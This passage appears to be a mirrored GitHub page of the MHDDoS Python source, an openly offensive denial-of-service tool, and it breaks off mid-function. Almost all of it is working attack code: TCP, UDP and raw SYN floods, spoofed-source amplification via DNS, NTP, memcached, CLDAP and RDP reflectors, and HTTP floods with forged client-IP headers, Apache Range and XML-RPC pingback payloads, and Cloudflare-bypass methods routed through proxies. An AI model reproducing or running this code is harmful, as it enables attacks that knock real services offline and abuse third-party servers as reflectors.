mirror of
https://github.com/MatrixTM/MHDDoS.git
synced 2024-11-16 11:42:42 +08:00
1487 lines
57 KiB
Python
1487 lines
57 KiB
Python
#!/usr/bin/env python3
|
|
|
|
from concurrent.futures import ThreadPoolExecutor, as_completed
|
|
from contextlib import suppress
|
|
from itertools import cycle
|
|
from json import load
|
|
from logging import basicConfig, getLogger, shutdown
|
|
from math import log2, trunc
|
|
from multiprocessing import RawValue
|
|
from os import urandom as randbytes
|
|
from pathlib import Path
|
|
from secrets import choice as randchoice
|
|
from socket import (AF_INET, IP_HDRINCL, IPPROTO_IP, IPPROTO_TCP, IPPROTO_UDP, SOCK_DGRAM,
|
|
SOCK_RAW, SOCK_STREAM, TCP_NODELAY, gethostbyname,
|
|
gethostname, socket)
|
|
from ssl import CERT_NONE, SSLContext, create_default_context
|
|
from struct import pack as data_pack
|
|
from subprocess import run, PIPE
|
|
from sys import argv
|
|
from sys import exit as _exit
|
|
from threading import Event, Thread
|
|
from time import sleep, time
|
|
from typing import Any, List, Set, Tuple
|
|
from urllib import parse
|
|
from uuid import UUID, uuid4
|
|
|
|
from PyRoxy import Proxy, ProxyChecker, ProxyType, ProxyUtiles
|
|
from PyRoxy import Tools as ProxyTools
|
|
from certifi import where
|
|
from cfscrape import create_scraper
|
|
from dns import resolver
|
|
from icmplib import ping
|
|
from impacket.ImpactPacket import IP, TCP, UDP, Data
|
|
from psutil import cpu_percent, net_io_counters, process_iter, virtual_memory
|
|
from requests import Response, Session, exceptions, get, cookies
|
|
from yarl import URL
|
|
|
|
basicConfig(format='[%(asctime)s - %(levelname)s] %(message)s',
|
|
datefmt="%H:%M:%S")
|
|
logger = getLogger("MHDDoS")
|
|
logger.setLevel("INFO")
|
|
ctx: SSLContext = create_default_context(cafile=where())
|
|
ctx.check_hostname = False
|
|
ctx.verify_mode = CERT_NONE
|
|
|
|
__version__: str = "2.4 SNAPSHOT"
|
|
__dir__: Path = Path(__file__).parent
|
|
__ip__: Any = None
|
|
|
|
|
|
def getMyIPAddress():
|
|
global __ip__
|
|
if __ip__:
|
|
return __ip__
|
|
with suppress(Exception):
|
|
__ip__ = get('https://api.my-ip.io/ip', timeout=.1).text
|
|
with suppress(Exception):
|
|
__ip__ = get('https://ipwhois.app/json/', timeout=.1).json()["ip"]
|
|
with suppress(Exception):
|
|
__ip__ = get('https://ipinfo.io/json', timeout=.1).json()["ip"]
|
|
with suppress(Exception):
|
|
__ip__ = ProxyTools.Patterns.IP.search(get('http://checkip.dyndns.org/', timeout=.1).text)
|
|
with suppress(Exception):
|
|
__ip__ = ProxyTools.Patterns.IP.search(get('https://spaceiran.com/myip/', timeout=.1).text)
|
|
with suppress(Exception):
|
|
__ip__ = get('https://ip.42.pl/raw', timeout=.1).text
|
|
return getMyIPAddress()
|
|
|
|
|
|
def exit(*message):
|
|
if message:
|
|
logger.error(" ".join(message))
|
|
shutdown()
|
|
_exit(1)
|
|
|
|
|
|
class Methods:
|
|
LAYER7_METHODS: Set[str] = {
|
|
"CFB", "BYPASS", "GET", "POST", "OVH", "STRESS", "DYN", "SLOW", "HEAD",
|
|
"NULL", "COOKIE", "PPS", "EVEN", "GSB", "DGB", "AVB", "CFBUAM",
|
|
"APACHE", "XMLRPC", "BOT", "BOMB", "DOWNLOADER", "KILLER"
|
|
}
|
|
|
|
LAYER4_METHODS: Set[str] = {
|
|
"TCP", "UDP", "SYN", "VSE", "MINECRAFT", "MEM", "NTP", "DNS", "ARD",
|
|
"CHAR", "RDP", "MCBOT", "CONNECTION", "CPS", "FIVEM", "TS3", "MCPE",
|
|
"CLDAP"
|
|
}
|
|
ALL_METHODS: Set[str] = {*LAYER4_METHODS, *LAYER7_METHODS}
|
|
|
|
|
|
google_agents = [
|
|
"Mozila/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
|
|
"Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, "
|
|
"like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; "
|
|
"+http://www.google.com/bot.html)) "
|
|
"Googlebot/2.1 (+http://www.google.com/bot.html)",
|
|
"Googlebot/2.1 (+http://www.googlebot.com/bot.html)"
|
|
]
|
|
|
|
|
|
class Counter:
|
|
def __init__(self, value=0):
|
|
self._value = RawValue('i', value)
|
|
|
|
def __iadd__(self, value):
|
|
self._value.value += value
|
|
return self
|
|
|
|
def __int__(self):
|
|
return self._value.value
|
|
|
|
def set(self, value):
|
|
self._value.value = value
|
|
return self
|
|
|
|
|
|
REQUESTS_SENT = Counter()
|
|
BYTES_SEND = Counter()
|
|
|
|
|
|
class bcolors:
|
|
HEADER = '\033[95m'
|
|
OKBLUE = '\033[94m'
|
|
OKCYAN = '\033[96m'
|
|
OKGREEN = '\033[92m'
|
|
WARNING = '\033[93m'
|
|
FAIL = '\033[91m'
|
|
ENDC = '\033[0m'
|
|
BOLD = '\033[1m'
|
|
UNDERLINE = '\033[4m'
|
|
|
|
|
|
class Tools:
|
|
|
|
@staticmethod
|
|
def humanbytes(i: int, binary: bool = False, precision: int = 2):
|
|
MULTIPLES = [
|
|
"B", "k{}B", "M{}B", "G{}B", "T{}B", "P{}B", "E{}B", "Z{}B", "Y{}B"
|
|
]
|
|
if i > 0:
|
|
base = 1024 if binary else 1000
|
|
multiple = trunc(log2(i) / log2(base))
|
|
value = i / pow(base, multiple)
|
|
suffix = MULTIPLES[multiple].format("i" if binary else "")
|
|
return f"{value:.{precision}f} {suffix}"
|
|
else:
|
|
return f"-- B"
|
|
|
|
@staticmethod
|
|
def humanformat(num: int, precision: int = 2):
|
|
suffixes = ['', 'k', 'm', 'g', 't', 'p']
|
|
if num > 999:
|
|
obje = sum(
|
|
[abs(num / 1000.0 ** x) >= 1 for x in range(1, len(suffixes))])
|
|
return f'{num / 1000.0 ** obje:.{precision}f}{suffixes[obje]}'
|
|
else:
|
|
return num
|
|
|
|
@staticmethod
|
|
def sizeOfRequest(res: Response) -> int:
|
|
size: int = len(res.request.method)
|
|
size += len(res.request.url)
|
|
size += len('\r\n'.join(f'{key}: {value}'
|
|
for key, value in res.request.headers.items()))
|
|
return size
|
|
|
|
@staticmethod
|
|
def randchr(lengh: int) -> str:
|
|
return str(ProxyTools.Tools.rand_char(lengh)).strip()
|
|
|
|
@staticmethod
|
|
def send(sock: socket, packet: bytes):
|
|
global BYTES_SEND, REQUESTS_SENT
|
|
if not sock.send(packet):
|
|
return False
|
|
BYTES_SEND += len(packet)
|
|
REQUESTS_SENT += 1
|
|
return True
|
|
|
|
@staticmethod
|
|
def sendto(sock, packet, target):
|
|
global BYTES_SEND, REQUESTS_SENT
|
|
if not sock.sendto(packet, target):
|
|
return False
|
|
BYTES_SEND += len(packet)
|
|
REQUESTS_SENT += 1
|
|
return True
|
|
|
|
@staticmethod
|
|
def safe_close(sock=None):
|
|
if sock:
|
|
sock.close()
|
|
|
|
|
|
class Minecraft:
|
|
@staticmethod
|
|
def varint(d: int) -> bytes:
|
|
o = b''
|
|
while True:
|
|
b = d & 0x7F
|
|
d >>= 7
|
|
o += data_pack("B", b | (0x80 if d > 0 else 0))
|
|
if d == 0:
|
|
break
|
|
return o
|
|
|
|
@staticmethod
|
|
def data(*payload: bytes) -> bytes:
|
|
payload = b''.join(payload)
|
|
return Minecraft.varint(len(payload)) + payload
|
|
|
|
@staticmethod
|
|
def short(integer: int) -> bytes:
|
|
return data_pack('>H', integer)
|
|
|
|
@staticmethod
|
|
def handshake(target: Tuple[str, int], version: int, state: int) -> bytes:
|
|
return Minecraft.data(Minecraft.varint(0x00),
|
|
Minecraft.varint(version),
|
|
Minecraft.data(target[0].encode()),
|
|
Minecraft.short(target[1]),
|
|
Minecraft.varint(state))
|
|
|
|
@staticmethod
|
|
def handshake_forwarded(target: Tuple[str, int], version: int, state: int, ip: str, uuid: UUID) -> bytes:
|
|
return Minecraft.data(Minecraft.varint(0x00),
|
|
Minecraft.varint(version),
|
|
Minecraft.data(
|
|
target[0].encode(),
|
|
b"\x00",
|
|
ip.encode(),
|
|
b"\x00",
|
|
uuid.hex.encode()
|
|
),
|
|
Minecraft.short(target[1]),
|
|
Minecraft.varint(state))
|
|
|
|
@staticmethod
|
|
def login(username: str) -> bytes:
|
|
if isinstance(username, str):
|
|
username = username.encode()
|
|
return Minecraft.data(Minecraft.varint(0x00),
|
|
Minecraft.data(username))
|
|
|
|
@staticmethod
|
|
def keepalive(num_id: int) -> bytes:
|
|
return Minecraft.data(Minecraft.varint(0x00),
|
|
Minecraft.varint(num_id))
|
|
|
|
@staticmethod
|
|
def chat(message: str) -> bytes:
|
|
return Minecraft.data(Minecraft.varint(0x01),
|
|
Minecraft.data(message.encode()))
|
|
|
|
|
|
# noinspection PyBroadException,PyUnusedLocal
|
|
class Layer4(Thread):
|
|
_method: str
|
|
_target: Tuple[str, int]
|
|
_ref: Any
|
|
SENT_FLOOD: Any
|
|
_amp_payloads = cycle
|
|
_proxies: List[Proxy] = None
|
|
|
|
def __init__(self,
|
|
target: Tuple[str, int],
|
|
ref: List[str] = None,
|
|
method: str = "TCP",
|
|
synevent: Event = None,
|
|
proxies: Set[Proxy] = None):
|
|
Thread.__init__(self, daemon=True)
|
|
self._amp_payload = None
|
|
self._amp_payloads = cycle([])
|
|
self._ref = ref
|
|
self._method = method
|
|
self._target = target
|
|
self._synevent = synevent
|
|
if proxies:
|
|
self._proxies = list(proxies)
|
|
|
|
def run(self) -> None:
|
|
if self._synevent: self._synevent.wait()
|
|
self.select(self._method)
|
|
while self._synevent.is_set():
|
|
self.SENT_FLOOD()
|
|
|
|
def open_connection(self,
|
|
conn_type=AF_INET,
|
|
sock_type=SOCK_STREAM,
|
|
proto_type=IPPROTO_TCP):
|
|
if self._proxies:
|
|
s = randchoice(self._proxies).open_socket(
|
|
conn_type, sock_type, proto_type)
|
|
else:
|
|
s = socket(conn_type, sock_type, proto_type)
|
|
s.setsockopt(IPPROTO_TCP, TCP_NODELAY, 1)
|
|
s.settimeout(.9)
|
|
s.connect(self._target)
|
|
return s
|
|
|
|
def select(self, name):
|
|
self.SENT_FLOOD = self.TCP
|
|
if name == "UDP": self.SENT_FLOOD = self.UDP
|
|
if name == "SYN": self.SENT_FLOOD = self.SYN
|
|
if name == "VSE": self.SENT_FLOOD = self.VSE
|
|
if name == "TS3": self.SENT_FLOOD = self.TS3
|
|
if name == "MCPE": self.SENT_FLOOD = self.MCPE
|
|
if name == "FIVEM": self.SENT_FLOOD = self.FIVEM
|
|
if name == "MINECRAFT": self.SENT_FLOOD = self.MINECRAFT
|
|
if name == "CPS": self.SENT_FLOOD = self.CPS
|
|
if name == "CONNECTION": self.SENT_FLOOD = self.CONNECTION
|
|
if name == "MCBOT": self.SENT_FLOOD = self.MCBOT
|
|
if name == "RDP":
|
|
self._amp_payload = (
|
|
b'\x00\x00\x00\x00\x00\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x00',
|
|
3389)
|
|
self.SENT_FLOOD = self.AMP
|
|
self._amp_payloads = cycle(self._generate_amp())
|
|
if name == "CLDAP":
|
|
self._amp_payload = (b'\x30\x25\x02\x01\x01\x63\x20\x04\x00\x0a\x01\x00\x0a\x01\x00\x02\x01\x00\x02\x01\x00'
|
|
b'\x01\x01\x00\x87\x0b\x6f\x62\x6a\x65\x63\x74\x63\x6c\x61\x73\x73\x30\x00',
|
|
389)
|
|
self.SENT_FLOOD = self.AMP
|
|
self._amp_payloads = cycle(self._generate_amp())
|
|
if name == "MEM":
|
|
self._amp_payload = (
|
|
b'\x00\x01\x00\x00\x00\x01\x00\x00gets p h e\n', 11211)
|
|
self.SENT_FLOOD = self.AMP
|
|
self._amp_payloads = cycle(self._generate_amp())
|
|
if name == "CHAR":
|
|
self._amp_payload = (b'\x01', 19)
|
|
self.SENT_FLOOD = self.AMP
|
|
self._amp_payloads = cycle(self._generate_amp())
|
|
if name == "ARD":
|
|
self._amp_payload = (b'\x00\x14\x00\x00', 3283)
|
|
self.SENT_FLOOD = self.AMP
|
|
self._amp_payloads = cycle(self._generate_amp())
|
|
if name == "NTP":
|
|
self._amp_payload = (b'\x17\x00\x03\x2a\x00\x00\x00\x00', 123)
|
|
self.SENT_FLOOD = self.AMP
|
|
self._amp_payloads = cycle(self._generate_amp())
|
|
if name == "DNS":
|
|
self._amp_payload = (
|
|
b'\x45\x67\x01\x00\x00\x01\x00\x00\x00\x00\x00\x01\x02\x73\x6c\x00\x00\xff\x00\x01\x00'
|
|
b'\x00\x29\xff\xff\x00\x00\x00\x00\x00\x00',
|
|
53)
|
|
self.SENT_FLOOD = self.AMP
|
|
self._amp_payloads = cycle(self._generate_amp())
|
|
|
|
def TCP(self) -> None:
|
|
s = None
|
|
with suppress(Exception), self.open_connection(AF_INET, SOCK_STREAM) as s:
|
|
while Tools.send(s, randbytes(1024)):
|
|
continue
|
|
Tools.safe_close(s)
|
|
|
|
def MINECRAFT(self) -> None:
|
|
handshake = Minecraft.handshake(self._target, 74, 1)
|
|
ping = Minecraft.data(b'\x00')
|
|
|
|
s = None
|
|
with suppress(Exception), self.open_connection(AF_INET, SOCK_STREAM) as s:
|
|
while Tools.send(s, handshake):
|
|
Tools.send(s, ping)
|
|
Tools.safe_close(s)
|
|
|
|
def CPS(self) -> None:
|
|
global REQUESTS_SENT
|
|
s = None
|
|
with suppress(Exception), self.open_connection(AF_INET, SOCK_STREAM) as s:
|
|
REQUESTS_SENT += 1
|
|
Tools.safe_close(s)
|
|
|
|
def alive_connection(self) -> None:
|
|
s = None
|
|
with suppress(Exception), self.open_connection(AF_INET, SOCK_STREAM) as s:
|
|
while s.recv(1):
|
|
continue
|
|
Tools.safe_close(s)
|
|
|
|
def CONNECTION(self) -> None:
|
|
global REQUESTS_SENT
|
|
with suppress(Exception):
|
|
Thread(target=self.alive_connection).start()
|
|
REQUESTS_SENT += 1
|
|
|
|
def UDP(self) -> None:
|
|
s = None
|
|
with suppress(Exception), socket(AF_INET, SOCK_DGRAM) as s:
|
|
while Tools.sendto(s, randbytes(1024), self._target):
|
|
continue
|
|
Tools.safe_close(s)
|
|
|
|
def SYN(self) -> None:
|
|
payload = self._genrate_syn()
|
|
s = None
|
|
with suppress(Exception), socket(AF_INET, SOCK_RAW, IPPROTO_TCP) as s:
|
|
s.setsockopt(IPPROTO_IP, IP_HDRINCL, 1)
|
|
while Tools.sendto(s, payload, self._target):
|
|
continue
|
|
Tools.safe_close(s)
|
|
|
|
def AMP(self) -> None:
|
|
payload = next(self._amp_payloads)
|
|
s = None
|
|
with suppress(Exception), socket(AF_INET, SOCK_RAW,
|
|
IPPROTO_UDP) as s:
|
|
s.setsockopt(IPPROTO_IP, IP_HDRINCL, 1)
|
|
while Tools.sendto(s, *payload):
|
|
continue
|
|
Tools.safe_close(s)
|
|
|
|
def MCBOT(self) -> None:
|
|
s = None
|
|
with suppress(Exception), self.open_connection(AF_INET, SOCK_STREAM) as s:
|
|
Tools.send(s, Minecraft.handshake_forwarded(self._target,
|
|
47,
|
|
2,
|
|
ProxyTools.Random.rand_ipv4(),
|
|
uuid4()))
|
|
Tools.send(s, Minecraft.login(f"MHDDoS_{ProxyTools.Random.rand_str(5)}"))
|
|
sleep(1.5)
|
|
|
|
c = 360
|
|
while Tools.send(s, Minecraft.keepalive(ProxyTools.Random.rand_int(1111111, 9999999))):
|
|
c -= 1
|
|
if c:
|
|
continue
|
|
c = 360
|
|
Tools.send(s, Minecraft.chat(Tools.randchr(100)))
|
|
Tools.safe_close(s)
|
|
|
|
def VSE(self) -> None:
|
|
global BYTES_SEND, REQUESTS_SENT
|
|
payload = (b'\xff\xff\xff\xff\x54\x53\x6f\x75\x72\x63\x65\x20\x45\x6e\x67\x69\x6e\x65'
|
|
b'\x20\x51\x75\x65\x72\x79\x00')
|
|
with socket(AF_INET, SOCK_DGRAM) as s:
|
|
while Tools.sendto(s, payload, self._target):
|
|
continue
|
|
Tools.safe_close(s)
|
|
|
|
def FIVEM(self) -> None:
|
|
global BYTES_SEND, REQUESTS_SENT
|
|
payload = b'\xff\xff\xff\xffgetinfo xxx\x00\x00\x00'
|
|
with socket(AF_INET, SOCK_DGRAM) as s:
|
|
while Tools.sendto(s, payload, self._target):
|
|
continue
|
|
Tools.safe_close(s)
|
|
|
|
def TS3(self) -> None:
|
|
global BYTES_SEND, REQUESTS_SENT
|
|
payload = b'\x05\xca\x7f\x16\x9c\x11\xf9\x89\x00\x00\x00\x00\x02'
|
|
with socket(AF_INET, SOCK_DGRAM) as s:
|
|
while Tools.sendto(s, payload, self._target):
|
|
continue
|
|
Tools.safe_close(s)
|
|
|
|
def MCPE(self) -> None:
|
|
global BYTES_SEND, REQUESTS_SENT
|
|
payload = (b'\x61\x74\x6f\x6d\x20\x64\x61\x74\x61\x20\x6f\x6e\x74\x6f\x70\x20\x6d\x79\x20\x6f'
|
|
b'\x77\x6e\x20\x61\x73\x73\x20\x61\x6d\x70\x2f\x74\x72\x69\x70\x68\x65\x6e\x74\x20'
|
|
b'\x69\x73\x20\x6d\x79\x20\x64\x69\x63\x6b\x20\x61\x6e\x64\x20\x62\x61\x6c\x6c'
|
|
b'\x73')
|
|
with socket(AF_INET, SOCK_DGRAM) as s:
|
|
while Tools.sendto(s, payload, self._target):
|
|
continue
|
|
Tools.safe_close(s)
|
|
|
|
def _genrate_syn(self) -> bytes:
|
|
ip: IP = IP()
|
|
ip.set_ip_src(getMyIPAddress())
|
|
ip.set_ip_dst(self._target[0])
|
|
tcp: TCP = TCP()
|
|
tcp.set_SYN()
|
|
tcp.set_th_dport(self._target[1])
|
|
tcp.set_th_sport(ProxyTools.Random.rand_int(1, 65535))
|
|
ip.contains(tcp)
|
|
return ip.get_packet()
|
|
|
|
def _generate_amp(self):
|
|
payloads = []
|
|
for ref in self._ref:
|
|
ip: IP = IP()
|
|
ip.set_ip_src(self._target[0])
|
|
ip.set_ip_dst(ref)
|
|
|
|
ud: UDP = UDP()
|
|
ud.set_uh_dport(self._amp_payload[1])
|
|
ud.set_uh_sport(self._target[1])
|
|
|
|
ud.contains(Data(self._amp_payload[0]))
|
|
ip.contains(ud)
|
|
|
|
payloads.append((ip.get_packet(), (ref, self._amp_payload[1])))
|
|
return payloads
|
|
|
|
|
|
# noinspection PyBroadException,PyUnusedLocal
|
|
class HttpFlood(Thread):
|
|
_proxies: List[Proxy] = None
|
|
_payload: str
|
|
_defaultpayload: Any
|
|
_req_type: str
|
|
_useragents: List[str]
|
|
_referers: List[str]
|
|
_target: URL
|
|
_method: str
|
|
_rpc: int
|
|
_synevent: Any
|
|
SENT_FLOOD: Any
|
|
|
|
def __init__(self,
|
|
thread_id: int,
|
|
target: URL,
|
|
host: str,
|
|
method: str = "GET",
|
|
rpc: int = 1,
|
|
synevent: Event = None,
|
|
useragents: Set[str] = None,
|
|
referers: Set[str] = None,
|
|
proxies: Set[Proxy] = None) -> None:
|
|
Thread.__init__(self, daemon=True)
|
|
self.SENT_FLOOD = None
|
|
self._thread_id = thread_id
|
|
self._synevent = synevent
|
|
self._rpc = rpc
|
|
self._method = method
|
|
self._target = target
|
|
self._host = host
|
|
self._raw_target = (self._host, (self._target.port or 80))
|
|
|
|
if not self._target.host[len(self._target.host) - 1].isdigit():
|
|
self._raw_target = (self._host, (self._target.port or 80))
|
|
|
|
if not referers:
|
|
referers: List[str] = [
|
|
"https://www.facebook.com/l.php?u=https://www.facebook.com/l.php?u=",
|
|
",https://www.facebook.com/sharer/sharer.php?u=https://www.facebook.com/sharer"
|
|
"/sharer.php?u=",
|
|
",https://drive.google.com/viewerng/viewer?url=",
|
|
",https://www.google.com/translate?u="
|
|
]
|
|
self._referers = list(referers)
|
|
if proxies:
|
|
self._proxies = list(proxies)
|
|
|
|
if not useragents:
|
|
useragents: List[str] = [
|
|
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 '
|
|
'Safari/537.36',
|
|
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 '
|
|
'Safari/537.36',
|
|
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 '
|
|
'Safari/537.36',
|
|
'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0'
|
|
]
|
|
self._useragents = list(useragents)
|
|
self._req_type = self.getMethodType(method)
|
|
self._defaultpayload = "%s %s HTTP/%s\r\n" % (self._req_type,
|
|
target.raw_path_qs, randchoice(['1.0', '1.1', '1.2']))
|
|
self._payload = (self._defaultpayload +
|
|
'Accept-Encoding: gzip, deflate, br\r\n'
|
|
'Accept-Language: en-US,en;q=0.9\r\n'
|
|
'Cache-Control: max-age=0\r\n'
|
|
'Connection: Keep-Alive\r\n'
|
|
'Sec-Fetch-Dest: document\r\n'
|
|
'Sec-Fetch-Mode: navigate\r\n'
|
|
'Sec-Fetch-Site: none\r\n'
|
|
'Sec-Fetch-User: ?1\r\n'
|
|
'Sec-Gpc: 1\r\n'
|
|
'Pragma: no-cache\r\n'
|
|
'Upgrade-Insecure-Requests: 1\r\n')
|
|
|
|
def run(self) -> None:
|
|
if self._synevent: self._synevent.wait()
|
|
self.select(self._method)
|
|
while self._synevent.is_set():
|
|
self.SENT_FLOOD()
|
|
|
|
@property
|
|
def SpoofIP(self) -> str:
|
|
spoof: str = ProxyTools.Random.rand_ipv4()
|
|
return ("X-Forwarded-Proto: Http\r\n"
|
|
f"X-Forwarded-Host: {self._target.raw_host}, 1.1.1.1\r\n"
|
|
f"Via: {spoof}\r\n"
|
|
f"Client-IP: {spoof}\r\n"
|
|
f'X-Forwarded-For: {spoof}\r\n'
|
|
f'Real-IP: {spoof}\r\n')
|
|
|
|
def generate_payload(self, other: str = None) -> bytes:
|
|
return str.encode((self._payload +
|
|
"Host: %s\r\n" % self._target.authority +
|
|
self.randHeadercontent +
|
|
(other if other else "") +
|
|
"\r\n"))
|
|
|
|
def open_connection(self) -> socket:
|
|
if self._proxies:
|
|
sock = randchoice(self._proxies).open_socket(AF_INET, SOCK_STREAM)
|
|
else:
|
|
sock = socket(AF_INET, SOCK_STREAM)
|
|
|
|
sock.setsockopt(IPPROTO_TCP, TCP_NODELAY, 1)
|
|
sock.settimeout(.9)
|
|
sock.connect(self._raw_target)
|
|
|
|
if self._target.scheme.lower() == "https":
|
|
sock = ctx.wrap_socket(sock,
|
|
server_hostname=self._target.host,
|
|
server_side=False,
|
|
do_handshake_on_connect=True,
|
|
suppress_ragged_eofs=True)
|
|
return sock
|
|
|
|
@property
|
|
def randHeadercontent(self) -> str:
|
|
return (f"User-Agent: {randchoice(self._useragents)}\r\n"
|
|
f"Referrer: {randchoice(self._referers)}{parse.quote(self._target.human_repr())}\r\n" +
|
|
self.SpoofIP)
|
|
|
|
@staticmethod
|
|
def getMethodType(method: str) -> str:
|
|
return "GET" if {method.upper()} & {"CFB", "CFBUAM", "GET", "COOKIE", "OVH", "EVEN",
|
|
"DYN", "SLOW", "PPS", "APACHE",
|
|
"BOT", } \
|
|
else "POST" if {method.upper()} & {"POST", "XMLRPC", "STRESS"} \
|
|
else "HEAD" if {method.upper()} & {"GSB", "HEAD"} \
|
|
else "REQUESTS"
|
|
|
|
def POST(self) -> None:
|
|
payload: bytes = self.generate_payload(
|
|
("Content-Length: 44\r\n"
|
|
"X-Requested-With: XMLHttpRequest\r\n"
|
|
"Content-Type: application/json\r\n\r\n"
|
|
'{"data": %s}') % ProxyTools.Random.rand_str(32))[:-2]
|
|
s = None
|
|
with suppress(Exception), self.open_connection() as s:
|
|
for _ in range(self._rpc):
|
|
Tools.send(s, payload)
|
|
Tools.safe_close(s)
|
|
|
|
def STRESS(self) -> None:
|
|
payload: bytes = self.generate_payload(
|
|
(f"Content-Length: 524\r\n"
|
|
"X-Requested-With: XMLHttpRequest\r\n"
|
|
"Content-Type: application/json\r\n\r\n"
|
|
'{"data": %s}') % ProxyTools.Random.rand_str(512))[:-2]
|
|
s = None
|
|
with suppress(Exception), self.open_connection() as s:
|
|
for _ in range(self._rpc):
|
|
Tools.send(s, payload)
|
|
Tools.safe_close(s)
|
|
|
|
def COOKIES(self) -> None:
|
|
payload: bytes = self.generate_payload(
|
|
"Cookie: _ga=GA%s;"
|
|
" _gat=1;"
|
|
" __cfduid=dc232334gwdsd23434542342342342475611928;"
|
|
" %s=%s\r\n" %
|
|
(ProxyTools.Random.rand_int(1000, 99999), ProxyTools.Random.rand_str(6),
|
|
ProxyTools.Random.rand_str(32)))
|
|
s = None
|
|
with suppress(Exception), self.open_connection() as s:
|
|
for _ in range(self._rpc):
|
|
Tools.send(s, payload)
|
|
Tools.safe_close(s)
|
|
|
|
def APACHE(self) -> None:
|
|
payload: bytes = self.generate_payload(
|
|
"Range: bytes=0-,%s" % ",".join("5-%d" % i
|
|
for i in range(1, 1024)))
|
|
s = None
|
|
with suppress(Exception), self.open_connection() as s:
|
|
for _ in range(self._rpc):
|
|
Tools.send(s, payload)
|
|
Tools.safe_close(s)
|
|
|
|
def XMLRPC(self) -> None:
|
|
payload: bytes = self.generate_payload(
|
|
("Content-Length: 345\r\n"
|
|
"X-Requested-With: XMLHttpRequest\r\n"
|
|
"Content-Type: application/xml\r\n\r\n"
|
|
"<?xml version='1.0' encoding='iso-8859-1'?>"
|
|
"<methodCall><methodName>pingback.ping</methodName>"
|
|
"<params><param><value><string>%s</string></value>"
|
|
"</param><param><value><string>%s</string>"
|
|
"</value></param></params></methodCall>") %
|
|
(ProxyTools.Random.rand_str(64),
|
|
ProxyTools.Random.rand_str(64)))[:-2]
|
|
s = None
|
|
with suppress(Exception), self.open_connection() as s:
|
|
for _ in range(self._rpc):
|
|
Tools.send(s, payload)
|
|
Tools.safe_close(s)
|
|
|
|
def PPS(self) -> None:
|
|
s = None
|
|
with suppress(Exception), self.open_connection() as s:
|
|
for _ in range(self._rpc):
|
|
Tools.send(s, self._defaultpayload)
|
|
Tools.safe_close(s)
|
|
|
|
def KILLER(self) -> None:
|
|
while True:
|
|
Thread(target=self.GET, daemon=True).start()
|
|
|
|
def GET(self) -> None:
|
|
payload: bytes = self.generate_payload()
|
|
s = None
|
|
with suppress(Exception), self.open_connection() as s:
|
|
for _ in range(self._rpc):
|
|
Tools.send(s, payload)
|
|
Tools.safe_close(s)
|
|
|
|
def BOT(self) -> None:
|
|
payload: bytes = self.generate_payload()
|
|
p1, p2 = str.encode(
|
|
"GET /robots.txt HTTP/1.1\r\n"
|
|
"Host: %s\r\n" % self._target.raw_authority +
|
|
"Connection: Keep-Alive\r\n"
|
|
"Accept: text/plain,text/html,*/*\r\n"
|
|
"User-Agent: %s\r\n" % randchoice(google_agents) +
|
|
"Accept-Encoding: gzip,deflate,br\r\n\r\n"), str.encode(
|
|
"GET /sitemap.xml HTTP/1.1\r\n"
|
|
"Host: %s\r\n" % self._target.raw_authority +
|
|
"Connection: Keep-Alive\r\n"
|
|
"Accept: */*\r\n"
|
|
"From: googlebot(at)googlebot.com\r\n"
|
|
"User-Agent: %s\r\n" % randchoice(google_agents) +
|
|
"Accept-Encoding: gzip,deflate,br\r\n"
|
|
"If-None-Match: %s-%s\r\n" % (ProxyTools.Random.rand_str(9),
|
|
ProxyTools.Random.rand_str(4)) +
|
|
"If-Modified-Since: Sun, 26 Set 2099 06:00:00 GMT\r\n\r\n")
|
|
s = None
|
|
with suppress(Exception), self.open_connection() as s:
|
|
Tools.send(s, p1)
|
|
Tools.send(s, p2)
|
|
for _ in range(self._rpc):
|
|
Tools.send(s, payload)
|
|
Tools.safe_close(s)
|
|
|
|
def EVEN(self) -> None:
|
|
payload: bytes = self.generate_payload()
|
|
s = None
|
|
with suppress(Exception), self.open_connection() as s:
|
|
while Tools.send(s, payload) and s.recv(1):
|
|
continue
|
|
Tools.safe_close(s)
|
|
|
|
def OVH(self) -> None:
|
|
payload: bytes = self.generate_payload()
|
|
s = None
|
|
with suppress(Exception), self.open_connection() as s:
|
|
for _ in range(min(self._rpc, 5)):
|
|
Tools.send(s, payload)
|
|
Tools.safe_close(s)
|
|
|
|
def CFB(self):
|
|
global REQUESTS_SENT, BYTES_SEND
|
|
pro = None
|
|
if self._proxies:
|
|
pro = randchoice(self._proxies)
|
|
s = None
|
|
with suppress(Exception), create_scraper() as s:
|
|
for _ in range(self._rpc):
|
|
if pro:
|
|
with s.get(self._target.human_repr(),
|
|
proxies=pro.asRequest()) as res:
|
|
REQUESTS_SENT += 1
|
|
BYTES_SEND += Tools.sizeOfRequest(res)
|
|
continue
|
|
|
|
with s.get(self._target.human_repr()) as res:
|
|
REQUESTS_SENT += 1
|
|
BYTES_SEND += Tools.sizeOfRequest(res)
|
|
Tools.safe_close(s)
|
|
|
|
def CFBUAM(self):
|
|
payload: bytes = self.generate_payload()
|
|
s = None
|
|
with suppress(Exception), self.open_connection() as s:
|
|
Tools.send(s, payload)
|
|
sleep(5.01)
|
|
ts = time()
|
|
for _ in range(self._rpc):
|
|
Tools.send(s, payload)
|
|
if time() > ts + 120: break
|
|
Tools.safe_close(s)
|
|
|
|
def AVB(self):
|
|
payload: bytes = self.generate_payload()
|
|
s = None
|
|
with suppress(Exception), self.open_connection() as s:
|
|
for _ in range(self._rpc):
|
|
sleep(max(self._rpc / 1000, 1))
|
|
Tools.send(s, payload)
|
|
Tools.safe_close(s)
|
|
|
|
def DGB(self):
|
|
global REQUESTS_SENT, BYTES_SEND
|
|
s = None
|
|
with suppress(Exception), Session() as s:
|
|
with s.post(self._target.human_repr()) as ss:
|
|
ss.raise_for_status()
|
|
for key, value in ss.cookies.items():
|
|
